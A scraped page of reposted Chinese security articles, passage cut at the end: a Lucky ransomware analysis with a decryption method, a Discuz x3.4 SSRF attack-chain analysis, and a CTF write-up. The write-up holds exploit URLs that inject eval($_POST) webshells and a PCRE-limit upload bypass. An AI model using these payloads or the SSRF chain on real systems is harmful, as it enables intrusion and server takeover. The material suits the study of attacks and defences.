GET /cyt.php?code=AiVjdtlUjI9m45f6&amp;file=1&amp;size=0&amp;sys=win&amp;VERSION=4.4&amp;status=begin HTTP/1.1

文件筛选

在加密模块中,lucky 对指定后缀名的文件进行加密:

被加密的后缀名文件包括:

bak,sql,mdf,ldf,myd,myi,dmp,xls,xlsx,docx,pptx,eps,
txt,ppt,csv,rtf,pdf,db,vdi,vmdk,vmx,pem,pfx,cer,psd

6.AES_ECB 加密方法
lucky 使用先前生成的长度为 60 字节的密钥,取前 32 字节作为加密使用,依次读取文件,按照每 16 字节进行 AEC_ECB 加密。

除此之外,该勒索病毒对于不同文件大小有不同的处理,结合加密函数的上下文可以得知,这里我们假设文件字节数为 n:

  1. 对于文件末尾小于 16 字节的部分,不加密
  2. 若 n > 10000000 字节,且当 n > 99999999 字节时,将文件分为 n / 80 个块,加密前 n / 16 个块
  3. 若 n > 10000000 字节,且当 99999999 <= n <= 499999999 字节时,将文件分为 n / 480 个块,加密前 n / 16 个块
  4. 若 n > 10000000 字节,且当 n > 499999999 字节时,将文件分为 n / 1280 个块,加密前 n / 16 个块

对于每个文件在加密完成后,lucky 病毒会将用于文件加密的 AES 密钥使用 RSA 算法打包并添加至文件末尾。

7.加密完成
在所有文件加密完成后,lucky 再次向服务器发送消息,表示用户已经加密完成;并在 c:\\_How_To_Decrypt_My_File_.Dic,通知用户遭到了勒索软件加密。

加密前后文件对比:

0x04 密钥还原

在讨论密钥还原前,先来看看勒索病毒支付后流程。

如果作为一个受害者,想要解密文件,只有向攻击者支付 1BTC,并把被 RSA 算法打包后的 AES 密钥提交给攻击者,攻击者通过私钥解密,最终返回明文的 AES 密钥用于文件解密;可惜的是,受害者即便拿到密钥也不能立即解密,lucky 勒索病毒中并没有提供解密模块。

勒索病毒期待的解密流程:

那么,如果能直接找到 AES 密钥呢?

在完整的分析加密过程后,有些的小伙伴可能已经发现了细节。AES 密钥通过 generate_key() 函数生成,再来回顾一下该函数:

利用当前时间戳作为随机数种子,使用随机数从预设的字符串序列中选取字符,组成一个长度为 60 字节的密钥。

随机数=>伪随机数
有过计算机基础的小伙伴,应该都知道计算机中不存在真随机数,所有的随机数都是伪随机数,而伪随机数的特征是「对于一种算法,若使用的初值(种子)不变,那么伪随机数的数序也不变」。所以,如果能够确定 generate_key() 函数运行时的时间戳,那么就能利用该时间戳作为随机种子,复现密钥的生成过程,从而获得密钥。

确定时间戳

爆破

当然,最暴力的方式就是直接爆破,以秒为单位,以某个有标志的文件(如 PDF 文件头)为参照,不断的猜测可能的密钥,如果解密后的文件头包含 %PDF(PDF 文件头),那么表示密钥正确。

文件修改时间

还有其他的方式吗?文件被加密后会重新写入文件,所以从操作系统的角度来看,被加密的文件具有一个精确的修改时间,可以利用该时间以确定密钥的生成时间戳:

如果需要加密的文件较多,加密所花的时间较长,那么被加密文件的修改时间就不是生成密钥的时间,应该往前推移,不过这样也大大减少了猜测的范围。

利用用户 session

利用文件修改时间大大减少了猜测的范围;在实际测试中发现,加密文件的过程耗时非常长,导致文件修改时间和密钥生成时间相差太多,而每次都需要进行检查密钥是否正确,需要耗费大量的时间,这里还可以使用用户 session 进一步缩小猜测的范围。

回顾加密过程,可以发现加密过程中,使用时间随机数生成了用户 session,这就成为了一个利用点。利用时间戳产生随机数,并使用随机数生成可能的用户 session,当找到某个 session 和当前被加密的用户 session 相同时,表示该时刻调用了 generate_session() 函数,该函数的调用早于文件加密,晚于密钥生成函数。

找到生成用户session 的时间戳后,再以该时间为起点,往前推移,便可以找到生成密钥的时间戳。

补充:实际上是将整个还原密钥的过程,转换为寻找时间戳的过程;确定时间戳是否正确,尽量使用具有标志的文件,如以 PDF 文件头 %PDF 作为明文对比。

还原密钥
通过上述的方式找到时间戳,利用时间戳就可以还原密钥了,伪代码如下:

sequence = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
key = []
timestamp = 1542511041
srand(timestamp)
for (i = 0; i &lt; 60; i++) {
    key[i] = sequence[rand() % 0x3E]
}

文件解密
拿到了 AES 密钥,通过 AES_ECB 算法进行解密文件即可。

其中注意两点:

1. 解密前先去除文件末尾的内容(由 RSA 算法打包的密钥内容)
2. 针对文件大小做不同的解密处理。

0x05 总结

勒索病毒依然在肆掠,用户应该对此保持警惕,虽然 lucky 勒索病毒在加密环节出现了漏洞,但仍然应该避免这种情况;针对 lucky 勒索病毒利用多个应用程序的漏洞进行传播的特性,各运维人员应该及时对应用程序打上补丁。

除此之外,知道创宇 404 实验室已经将文中提到的文件解密方法转换为了工具,若您在此次事件中,不幸受到 lucky 勒索病毒的影响,可以随时联系我们。


References:
tencent: https://s.tencent.com/research/report/571.html
绿盟: https://mp.weixin.qq.com/s/uwWTS_ta29YlYntaZN3omQ
深信服: https://mp.weixin.qq.com/s/zA1bK1sLwaZsUvuOzVHBKg
Python 的解密脚本: https://github.com/knownsec/Decrypt-ransomware


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/758/

原文阅读

Discuz x3.4 前台 SSRF 分析
Elfinx 2018-12-10 2:26 转存
作者:LoRexxar'@知道创宇404实验室
时间:2018年12月7日
2018年12月3日,@L3mOn公开了一个Discuz x3.4版本的前台SSRF,通过利用一个二次跳转加上两个解析问题,可以巧妙地完成SSRF攻击链。https://www.cnblogs.com/iamstudy/articles/discuz_x34_ssrf_1.html

在和小伙伴@Dawu复现过程中发现漏洞本身依赖多个特性,导致可利用环境各种缩减和部分条件的强依赖关系大大减小了该漏洞的危害。后面我们就来详细分析下这个漏洞。

漏洞产生条件

  • 版本小于 41eb5bb0a3a716f84b0ce4e4feb41e6f25a980a3 补丁链接
  • PHP版本大于PHP 5.3
  • php-curl <= 7.54
  • DZ运行在80端口
  • 默认不影响linux(未100%证实,测试常见linux环境为不影响)

漏洞复现

ssrf

首先漏洞点出现的位置在/source/module/misc/misc_imgcropper.php line 55

这里$prefix变量为/然后后面可控,然后进入函数里

/source/class/class_image.php line 52 Thumb函数

然后跟入init函数(line 118)中

很明显只要parse_url解得出host就可以通过dfsockopen发起请求

由于这里前面会补一个/,所以这里的source必须是/开头,一个比较常见的技巧。

//baidu.com

这样的链接会自动补上协议,至于怎么补就要看具体的客户端怎么写的了。

我们接着跟dfsockopen/source/function/function_core.php line 199

然后到source/function/function_filesock.php line 31

主要为红框部分的代码,可以看到请求的地址为parse_url下相应的目标。

由于前面提到,链接的最前为/,所以这里的parse_url就受到了限制。

由于没有scheme,所以最终curl访问的链接为

://google.com/

前面自动补协议就成了

http://://google.com/

这里就涉及到了很严重的问题,就是对于curl来说,请求一个空host究竟会请求到哪里呢?

在windows环境下,libcurl版本7.53.0

可以看到这里请求了我本机的ipv6的ip。

在linux环境(ubuntu)下,截图为7.47.0

测试了常见的各种系统,测试过程中没有找到不会报错的curl版本,暂时认为只影响windows的服务端环境。

再回到代码条件下,可以把前面的条件回顾一下:

1、首先我们需要保证/{}可控在解parse_url操作下存在host。

要满足这个条件,我们首先要对parse_url的结果有个清晰的认识。

在没有协议的情况下,好像是参数中不能出现协议或者端口(:号),否则就不会把第一段解析成host,虽然还不知道为什么,这里暂且不论。

在这种情况下,我们只需要把后面可能出现的http去掉就好了,因为无协议的情况下会默认补充http在前面(一般来说)。

2、curl必须要能把空host解析成localhost,所以libcurl版本要求在7.54.0以下,而且目前测试只影响windows服务器(欢迎打脸

3、dz必须在80端口下

在满足上面的所有条件后,我们实际请求了本地的任意目录

http://://{可控}

===&gt;

http://127.0.0.1/{可控}

但这实际上来说没有什么用,所以我们还需要一个任意url跳转才行,否则只能攻击本地意义就很小了。

任意url跳转

为了能够和前面的要求产生联动,我们需要一个get型、不需要登陆的任意url跳转。

dz在logout的时候会从referer参数(非header头参数)中获取值,然后进入301跳转,而这里唯一的要求是对host有一定的验证,让我们来看看代码。

/source/function/function_core.php:1498

上面的截图解释了这段代码的主要问题,核心代码为红框部分。

为了让referer不改变,我们必须让host只有一个字符,但很显然,如果host只能有一个字符,我们没办法控制任意url跳转。

所以我们需要想办法让parse_urlcurl对同一个url的目标解析不一致,才有可能达到我们的目标。

http://localhost#@www.baidu.com/

上面这个链接parse_url解析出来为localhost,而curl解释为www.baidu.com

我们抓个包来看看

成功绕过了各种限制

利用

到现在我们手握ssrf+任意url跳转,我们只需要攻击链连接起来就可以了。攻击流程如下

cutimg ssrf link
=====&gt;
服务端访问logout任意url跳转
====301====&gt;
跳转到evil服务器
=====302=====&gt;
任意目标,如gophar、http等

当然最开始访问cutimg页面时,需要先获取formhash,而且referer也要相应修改,否则会直接拦截。

exp演示


Paper 本文由 Seebug Paper 发布,如需转载请注明来源。本文地址:https://paper.seebug.org/756/

原文阅读

Code Breaking 挑战赛 Writeup
Elfinx 2018-12-10 2:23 转存
作者:LoRexxar'@知道创宇404实验室
时间:2018年12月7日
@phith0n 在代码审计小密圈二周年的时候发起了Code-Breaking Puzzles挑战赛,其中包含了php、java、js、python各种硬核的代码审计技巧。在研究复现the js的过程中,我花费了大量的精力,也逐渐找到代码审计的一些技巧,这里主要分享了5道ez题目和1道hard的the js这道题目的writeup,希望阅读本文的你可以从题目中学习到属于代码审计的思考逻辑和技巧。

easy - function

<span class="cp">&lt;?php</span>
<span class="nv">$action</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'action'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span>
<span class="nv">$arg</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'arg'</span><span class="p">]</span> <span class="o">??</span> <span class="s1">''</span><span class="p">;</span>

<span class="k">if</span><span class="p">(</span><span class="nb">preg_match</span><span class="p">(</span><span class="s1">'/^[a-z0-9_]*$/isD'</span><span class="p">,</span> <span class="nv">$action</span><span class="p">))</span> <span class="p">{</span>
    <span class="nb">show_source</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">);</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="nv">$action</span><span class="p">(</span><span class="s1">''</span><span class="p">,</span> <span class="nv">$arg</span><span class="p">);</span>
<span class="p">}</span>

思路还算是比较清晰,正则很明显,就是要想办法在函数名的头或者尾找一个字符,不影响函数调用。

简单实验了一下没找到,那就直接fuzz起来吧

很容易就fuzz到了就是\这个符号

后来稍微翻了翻别人的writeup,才知道原因,在PHP的命名空间默认为\,所有的函数和类都在\这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。

紧接着就到了如何只控制第二个参数来执行命令的问题了,后来找到可以用create_function来完成,create_function的第一个参数是参数,第二个参数是内容。

函数结构形似

<span class="nx">create_function</span><span class="p">(</span><span class="s1">'$a,$b'</span><span class="p">,</span><span class="s1">'return 111'</span><span class="p">)</span>

<span class="o">==&gt;</span>

<span class="kd">function</span> <span class="nx">a</span><span class="p">(</span><span class="nx">$a</span><span class="p">,</span> <span class="nx">$b</span><span class="p">){</span>
    <span class="k">return</span> <span class="mi">111</span><span class="p">;</span>
<span class="p">}</span>

然后执行,如果我们想要执行任意代码,就首先需要跳出这个函数定义。

<span class="nx">create_function</span><span class="p">(</span><span class="s1">'$a,$b'</span><span class="p">,</span><span class="s1">'return 111;}phpinfo();//'</span><span class="p">)</span>

<span class="o">==&gt;</span>

<span class="kd">function</span> <span class="nx">a</span><span class="p">(</span><span class="nx">$a</span><span class="p">,</span> <span class="nx">$b</span><span class="p">){</span>
    <span class="k">return</span> <span class="mi">111</span><span class="p">;}</span><span class="nx">phpinfo</span><span class="p">();</span><span class="c1">//</span>
<span class="p">}</span>

这样一来,我们想要执行的代码就会执行

exp

<span class="nt">http</span><span class="o">://</span><span class="nt">51</span><span class="p">.</span><span class="nc">158</span><span class="p">.</span><span class="nc">75</span><span class="p">.</span><span class="nc">42</span><span class="p">:</span><span class="nd">8087</span><span class="o">/?</span><span class="nt">action</span><span class="o">=%</span><span class="nt">5Ccreate_function</span><span class="o">&amp;</span><span class="nt">arg</span><span class="o">=</span><span class="nt">return</span><span class="o">%</span><span class="nt">202333</span><span class="o">;%</span><span class="nt">7Deval</span><span class="o">($</span><span class="nt">_POST</span><span class="o">%</span><span class="nt">5B</span><span class="o">%</span><span class="nt">27ddog</span><span class="o">%</span><span class="nt">27</span><span class="o">%</span><span class="nt">5D</span><span class="o">);%</span><span class="nt">2f</span><span class="o">%</span><span class="nt">2f</span>

easy pcrewaf

<span class="o">&lt;?</span><span class="nx">php</span>
<span class="kd">function</span> <span class="nx">is_php</span><span class="p">(</span><span class="nx">$data</span><span class="p">){</span>
    <span class="k">return</span> <span class="nx">preg_match</span><span class="p">(</span><span class="s1">'/&lt;\?.*[(`;?&gt;].*/is'</span><span class="p">,</span> <span class="nx">$data</span><span class="p">);</span>
<span class="p">}</span>

<span class="k">if</span><span class="p">(</span><span class="nx">empty</span><span class="p">(</span><span class="nx">$_FILES</span><span class="p">))</span> <span class="p">{</span>
    <span class="nx">die</span><span class="p">(</span><span class="nx">show_source</span><span class="p">(</span><span class="nx">__FILE__</span><span class="p">));</span>
<span class="p">}</span>

<span class="nx">$user_dir</span> <span class="o">=</span> <span class="s1">'./data/'</span><span class="p">;</span>
<span class="nx">$data</span> <span class="o">=</span> <span class="nx">file_get_contents</span><span class="p">(</span><span class="nx">$_FILES</span><span class="p">[</span><span class="s1">'file'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">]);</span>
<span class="k">if</span> <span class="p">(</span><span class="nx">is_php</span><span class="p">(</span><span class="nx">$data</span><span class="p">))</span> <span class="p">{</span>
    <span class="nx">echo</span> <span class="s2">"bad request"</span><span class="p">;</span>
<span class="p">}</span> <span class="k">else</span> <span class="p">{</span>
    <span class="kd">@mkdir</span><span class="p">(</span><span class="nx">$user_dir</span><span class="p">,</span> <span class="mi">0755</span><span class="p">);</span>
    <span class="nx">$path</span> <span class="o">=</span> <span class="nx">$user_dir</span> <span class="p">.</span> <span class="s1">'/'</span> <span class="p">.</span> <span class="nx">random_int</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="mi">10</span><span class="p">)</span> <span class="p">.</span> <span class="s1">'.php'</span><span class="p">;</span>
    <span class="nx">move_uploaded_file</span><span class="p">(</span><span class="nx">$_FILES</span><span class="p">[</span><span class="s1">'file'</span><span class="p">][</span><span class="s1">'tmp_name'</span><span class="p">],</span> <span class="nx">$path</span><span class="p">);</span>

    <span class="nx">header</span><span class="p">(</span><span class="s2">"Location: $path"</span><span class="p">,</span> <span class="kc">true</span><span class="p">,</span> <span class="mi">303</span><span class="p">);</span>
<span class="p">}</span>

这题自己研究的时候没想到怎么做,不过思路很清楚,文件名不可控,唯一能控制的就是文件内容。

所以问题的症结就在于如何绕过这个正则表达式。

/&lt;\?.*[(`;?&gt;].*/is

简单来说就是<后面不能有问号,<?后面不能有(;?>反引号,但很显然,这是不可能的,最少执行函数也需要括号才行。从常规的思路肯定不行

https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html

之后看ph师傅的文章我们看到了问题所在,pcre.backtrack_limit这个配置决定了在php中,正则引擎回溯的层数。而这个值默认是1000000.

而什么是正则引擎回溯呢?

在正则中.*表示匹配任意字符任意位,也就是说他会匹配所有的字符,而正则引擎在解析正则的时候必然是逐位匹配的,对于

<span class="cp">&lt;?php</span> <span class="nb">phpinfo</span><span class="p">();</span><span class="c1">//faaaaaaaaaaaaaaaaaaaaaaaaaa</span>

这段代码来说

首先&lt;匹配&lt;
然后?匹配?
然后.*会直接匹配到结尾php phpinfo();//faaaaaaaaaaaaaaaaaaaaaaaaaa
紧接着匹配[(`;?&gt;],问题出现了,上一步匹配到了结尾,后面没有满足要求的符号了。

从这里开始正则引擎就开始逐渐回溯,知道符合要求的;出现为止

但很显然,服务端不可能不做任何限制,不然如果post一个无限长的数据,那么服务端就会浪费太多的资源在这里,所以就有了pcre.backtrack_limit,如果回溯次数超过100万次,那么匹配就会结束,然后跳过这句语句。

回到题目来看,如果能够跳过这句语句,我们就能上传任意文件内容了!

所以最终post就是传一个内容为

<span class="cp">&lt;?php</span> <span class="nb">phpinfo</span><span class="p">();</span><span class="c1">//a*1000000</span>

对于任何一种引擎来说都涉及到这个问题,尤其对于文件内容来说,没办法控制文件的长度,也就不可避免的会出现这样的问题。

对于PHP来说,有这样一个解决办法,在php的正则文档中提到这样一个问题

preg_match返回的是匹配到的次数,如果匹配不到会返回0,如果报错就会返回false

所以,对preg_match来说,只要对返回结果有判断,就可以避免这样的问题。

easy - phpmagic

题目代码简化之后如下

<span class="cp">&lt;?php</span>
<span class="k">if</span><span class="p">(</span><span class="nb">isset</span><span class="p">(</span><span class="nv">$_GET</span><span class="p">[</span><span class="s1">'read-source'</span><span class="p">]))</span> <span class="p">{</span>
    <span class="k">exit</span><span class="p">(</span><span class="nb">show_source</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">));</span>
<span class="p">}</span>

<span class="nb">define</span><span class="p">(</span><span class="s1">'DATA_DIR'</span><span class="p">,</span> <span class="nb">dirname</span><span class="p">(</span><span class="no">__FILE__</span><span class="p">)</span> <span class="o">.</span> <span class="s1">'/data/'</span> <span class="o">.</span> <span class="nb">md5</span><span class="p">(</span><span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'REMOTE_ADDR'</span><span class="p">]));</span>

<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">is_dir</span><span class="p">(</span><span class="nx">DATA_DIR</span><span class="p">))</span> <span class="p">{</span>
    <span class="nb">mkdir</span><span class="p">(</span><span class="nx">DATA_DIR</span><span class="p">,</span> <span class="mo">0755</span><span class="p">,</span> <span class="k">true</span><span class="p">);</span>
<span class="p">}</span>
<span class="nb">chdir</span><span class="p">(</span><span class="nx">DATA_DIR</span><span class="p">);</span>

<span class="nv">$domain</span> <span class="o">=</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'domain'</span><span class="p">])</span> <span class="o">?</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'domain'</span><span class="p">]</span> <span class="o">:</span> <span class="s1">''</span><span class="p">;</span>
<span class="nv">$log_name</span> <span class="o">=</span> <span class="nb">isset</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">[</span><span class="s1">'log'</span><span class="p">])</span> <span class="o">?</span> <span class="nv">$_POST</span><span class="p">[</span><span class="s1">'log'</span><span class="p">]</span> <span class="o">:</span> <span class="nb">date</span><span class="p">(</span><span class="s1">'-Y-m-d'</span><span class="p">);</span>
<span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="k">empty</span><span class="p">(</span><span class="nv">$_POST</span><span class="p">)</span> <span class="o">&amp;&amp;</span> <span class="nv">$domain</span><span class="p">)</span><span class="o">:</span>
    <span class="nv">$command</span> <span class="o">=</span> <span class="nb">sprintf</span><span class="p">(</span><span class="s2">"dig -t A -q %s"</span><span class="p">,</span> <span class="nb">escapeshellarg</span><span class="p">(</span><span class="nv">$domain</span><span class="p">));</span>
    <span class="nv">$output</span> <span class="o">=</span> <span class="nb">shell_exec</span><span class="p">(</span><span class="nv">$command</span><span class="p">);</span>

    <span class="nv">$output</span> <span class="o">=</span> <span class="nb">htmlspecialchars</span><span class="p">(</span><span class="nv">$output</span><span class="p">,</span> <span class="nx">ENT_HTML401</span> <span class="o">|</span> <span class="nx">ENT_QUOTES</span><span class="p">);</span>

    <span class="nv">$log_name</span> <span class="o">=</span> <span class="nv">$_SERVER</span><span class="p">[</span><span class="s1">'SERVER_NAME'</span><span class="p">]</span> <span class="o">.</span> <span class="nv">$log_name</span><span class="p">;</span>
    <span class="k">if</span><span class="p">(</span><span class="o">!</span><span class="nb">in_array</span><span class="p">(</span><span class="nb">pathinfo</span><span class="p">(</span><span class="nv">$log_name</span><span class="p">,</span> <span class="nx">PATHINFO_EXTENSION</span><span class="p">),</span> <span class="p">[</span><span class="s1">'php'</span><span class="p">,</span> <span class="s1">'php3'</span><span class="p">,</span> <span class="s1">'php4'</span><span class="p">,</span> <span class="s1">'php5'</span><span class="p">,</span> <span class="s1">'phtml'</span><span class="p">,</span> <span class="s1">'pht'</span><span class="p">],</span> <span class="k">true</span><span class="p">))</span> <span class="p">{</span>
        <span class="nb">file_put_contents</span><span class="p">(</span><span class="nv">$log_name</span><span class="p">,</span> <span class="nv">$output</span><span class="p">);</span>
    <span class="p">}</span>

    <span class="k">echo</span> <span class="nv">$output</span><span class="p">;</span>
<span class="k">endif</span><span class="p">;</span> <span class="cp">?&gt;</span>

稍微阅读一下代码不难发现问题有几个核心点

1、没办法完全控制dig的返回,由于没办法命令注入,所以这里只能执行dig命令,唯一能控制的就是dig的目标,而且返回在显示之前还转义了尖括号,所以

<span class="o">;</span> <span class="o">&lt;&lt;&gt;&gt;</span> <span class="nt">DiG</span> <span class="nt">9</span><span class="p">.</span><span class="nc">9</span><span class="p">.</span><span class="nc">5-9</span><span class="o">+</span><span class="nt">deb8u15-Debian</span> <span class="o">&lt;&lt;&gt;&gt;</span> <span class="nt">-t</span> <span class="nt">A</span> <span class="nt">-q</span> <span class="nt">1232321321</span>
<span class="o">;;</span> <span class="nt">global</span> <span class="nt">options</span><span class="o">:</span> <span class="o">+</span><span class="nt">cmd</span>
<span class="o">;;</span> <span class="nt">Got</span> <span class="nt">answer</span><span class="o">:</span>
<span class="o">;;</span> <span class="nt">-</span><span class="o">&gt;&gt;</span><span class="nt">HEADER</span><span class="o">&lt;&lt;</span><span class="nt">-</span> <span class="nt">opcode</span><span class="o">:</span> <span class="nt">QUERY</span><span class="o">,</span> <span class="nt">status</span><span class="o">:</span> <span class="nt">NXDOMAIN</span><span class="o">,</span> <span class="nt">id</span><span class="o">:</span> <span class="nt">43507</span>
<span class="o">;;</span> <span class="nt">flags</span><span class="o">:</span> <span class="nt">qr</span> <span class="nt">rd</span> <span class="nt">ra</span><span class="o">;</span> <span class="nt">QUERY</span><span class="o">:</span> <span class="nt">1</span><span class="o">,</span> <span class="nt">ANSWER</span><span class="o">:</span> <span class="nt">0</span><span class="o">,</span> <span class="nt">AUTHORITY</span><span class="o">:</span> <span class="nt">1</span><span class="o">,</span> <span class="nt">ADDITIONAL</span><span class="o">:</span> <span class="nt">0</span>

<span class="o">;;</span> <span class="nt">QUESTION</span> <span class="nt">SECTION</span><span class="o">:</span>
<span class="o">;</span><span class="nt">1232321321</span><span class="o">.</span>            <span class="nt">IN</span>  <span class="nt">A</span>

<span class="o">;;</span> <span class="nt">AUTHORITY</span> <span class="nt">SECTION</span><span class="o">:</span>
<span class="o">.</span>           <span class="nt">10800</span>   <span class="nt">IN</span>  <span class="nt">SOA</span> <span class="nt">a</span><span class="p">.</span><span class="nc">root-servers</span><span class="p">.</span><span class="nc">net</span><span class="o">.</span> <span class="nt">nstld</span><span class="p">.</span><span class="nc">verisign-grs</span><span class="p">.</span><span class="nc">com</span><span class="o">.</span> <span class="nt">2018112800</span> <span class="nt">1800</span> <span class="nt">900</span> <span class="nt">604800</span> <span class="nt">86400</span>

<span class="o">;;</span> <span class="nt">Query</span> <span class="nt">time</span><span class="o">:</span> <span class="nt">449</span> <span class="nt">msec</span>
<span class="o">;;</span> <span class="nt">SERVER</span><span class="o">:</span> <span class="nt">127</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">11</span><span class="p">#</span><span class="nn">53</span><span class="o">(</span><span class="nt">127</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">11</span><span class="o">)</span>
<span class="o">;;</span> <span class="nt">WHEN</span><span class="o">:</span> <span class="nt">Wed</span> <span class="nt">Nov</span> <span class="nt">28</span> <span class="nt">08</span><span class="p">:</span><span class="nd">26</span><span class="p">:</span><span class="nd">15</span> <span class="nt">UTC</span> <span class="nt">2018</span>
<span class="o">;;</span> <span class="nt">MSG</span> <span class="nt">SIZE</span>  <span class="nt">rcvd</span><span class="o">:</span> <span class="nt">103</span>

2、in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)这句过滤真的很严格,实在的讲没有什么直白的绕过办法。

3、log前面会加上$_SERVER['SERVER_NAME']

第一点真的是想不到,是看了别人的wp才想明白这个关键点 http://f1sh.site/2018/11/25/code-breaking-puzzles%E5%81%9A%E9%A2%98%E8%AE%B0%E5%BD%95/

之前做题的时候曾经遇到过类似的问题,可以通过解base64来隐藏自己要写入的内容绕过过滤,然后php在解析的时候会忽略各种乱码,只会从<?php开始,所以其他的乱码都不会影响到内容,唯一要注意的就是base64是4位一解的,主要不要把第一位打乱掉。

简单测试一下

<span class="o">$</span><span class="nt">output</span> <span class="o">=</span> <span class="o">&lt;&lt;&lt;</span><span class="nt">EOT</span>
<span class="o">;</span> <span class="o">&lt;&lt;&gt;&gt;</span> <span class="nt">DiG</span> <span class="nt">9</span><span class="p">.</span><span class="nc">9</span><span class="p">.</span><span class="nc">5-9</span><span class="o">+</span><span class="nt">deb8u15-Debian</span> <span class="o">&lt;&lt;&gt;&gt;</span> <span class="nt">-t</span> <span class="nt">A</span> <span class="nt">-q</span> <span class="s2">"$domain"</span>
<span class="o">;;</span> <span class="nt">global</span> <span class="nt">options</span><span class="o">:</span> <span class="o">+</span><span class="nt">cmd</span>
<span class="o">;;</span> <span class="nt">Got</span> <span class="nt">answer</span><span class="o">:</span>
<span class="o">;;</span> <span class="nt">-</span><span class="o">&gt;&gt;</span><span class="nt">HEADER</span><span class="o">&lt;&lt;</span><span class="nt">-</span> <span class="nt">opcode</span><span class="o">:</span> <span class="nt">QUERY</span><span class="o">,</span> <span class="nt">status</span><span class="o">:</span> <span class="nt">NXDOMAIN</span><span class="o">,</span> <span class="nt">id</span><span class="o">:</span> <span class="nt">43507</span>
<span class="o">;;</span> <span class="nt">flags</span><span class="o">:</span> <span class="nt">qr</span> <span class="nt">rd</span> <span class="nt">ra</span><span class="o">;</span> <span class="nt">QUERY</span><span class="o">:</span> <span class="nt">1</span><span class="o">,</span> <span class="nt">ANSWER</span><span class="o">:</span> <span class="nt">0</span><span class="o">,</span> <span class="nt">AUTHORITY</span><span class="o">:</span> <span class="nt">1</span><span class="o">,</span> <span class="nt">ADDITIONAL</span><span class="o">:</span> <span class="nt">0</span>

<span class="o">;;</span> <span class="nt">QUESTION</span> <span class="nt">SECTION</span><span class="o">:</span>
<span class="o">;</span><span class="nt">1232321321</span><span class="o">.</span>            <span class="nt">IN</span>  <span class="nt">A</span>

<span class="o">;;</span> <span class="nt">AUTHORITY</span> <span class="nt">SECTION</span><span class="o">:</span>
<span class="o">.</span>           <span class="nt">10800</span>   <span class="nt">IN</span>  <span class="nt">SOA</span> <span class="nt">a</span><span class="p">.</span><span class="nc">root-servers</span><span class="p">.</span><span class="nc">net</span><span class="o">.</span> <span class="nt">nstld</span><span class="p">.</span><span class="nc">verisign-grs</span><span class="p">.</span><span class="nc">com</span><span class="o">.</span> <span class="nt">2018112800</span> <span class="nt">1800</span> <span class="nt">900</span> <span class="nt">604800</span> <span class="nt">86400</span>

<span class="o">;;</span> <span class="nt">Query</span> <span class="nt">time</span><span class="o">:</span> <span class="nt">449</span> <span class="nt">msec</span>
<span class="o">;;</span> <span class="nt">SERVER</span><span class="o">:</span> <span class="nt">127</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">11</span><span class="p">#</span><span class="nn">53</span><span class="o">(</span><span class="nt">127</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">0</span><span class="p">.</span><span class="nc">11</span><span class="o">)</span>
<span class="o">;;</span> <span class="nt">WHEN</span><span class="o">:</span> <span class="nt">Wed</span> <span class="nt">Nov</span> <span class="nt">28</span> <span class="nt">08</span><span class="p">:</span><span class="nd">26</span><span class="p">:</span><span class="nd">15</span> <span class="nt">UTC</span> <span class="nt">2018</span>
<span class="o">;;</span> <span class="nt">MSG</span> <span class="nt">SIZE</span>  <span class="nt">rcvd</span><span class="o">:</span> <span class="nt">103</span>

<span class="nt">EOT</span><span class="o">;</span>

<span class="o">$</span><span class="nt">output</span> <span class="o">=</span> <span class="nt">htmlspecialchars</span><span class="o">($</span><span class="nt">output</span><span class="o">,</span> <span class="nt">ENT_HTML401</span> <span class="o">|</span> <span class="nt">ENT_QUOTES</span><span class="o">);</span>
<span class="nt">var_dump</span><span class="o">($</span><span class="nt">output</span><span class="o">);</span>
<span class="nt">var_dump</span><span class="o">(</span><span class="nt">base64_decode</span><span class="o">($</span><span class="nt">output</span><span class="o">));</span>

这样一来我们就能控制文件内容了,而且可以注入<?php

接下来就是第二步,怎么才能控制logname为调用php伪协议呢?

问题就在于我们如何控制$_SERVER['SERVER_NAME'],而这个值怎么定是不一定的,这里在这个题目中是取自了头中的host。

这样一来头我们可以控制了,我们就能调用php伪协议了,那么怎么绕过后缀限制呢?

这里用了之前曾经遇到过的一个技巧(老了记性不好,翻了半天也没找到是啥比赛遇到的),test.php/.就会直接调用到test.php

通过这个办法可以绕过根据.来分割后缀的各种限制条件,同样也适用于当前环境下。

最终poc:

easy - phplimit

<span class="cp">&lt;?php</span>
<span class="k">if</span><span class="p">(</span><span class="s1">';'</span> <span class="o">===</span> <span class="nb">preg_replace</span><span class="p">(</span><span class="s1">'/[^\W]+\((?R)?\)/'</span><span class="p">,</span> <span class="s1">''</span><span class="p">,</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">'code'</span><span class="p">]))</span> <span class="p">{</span>    
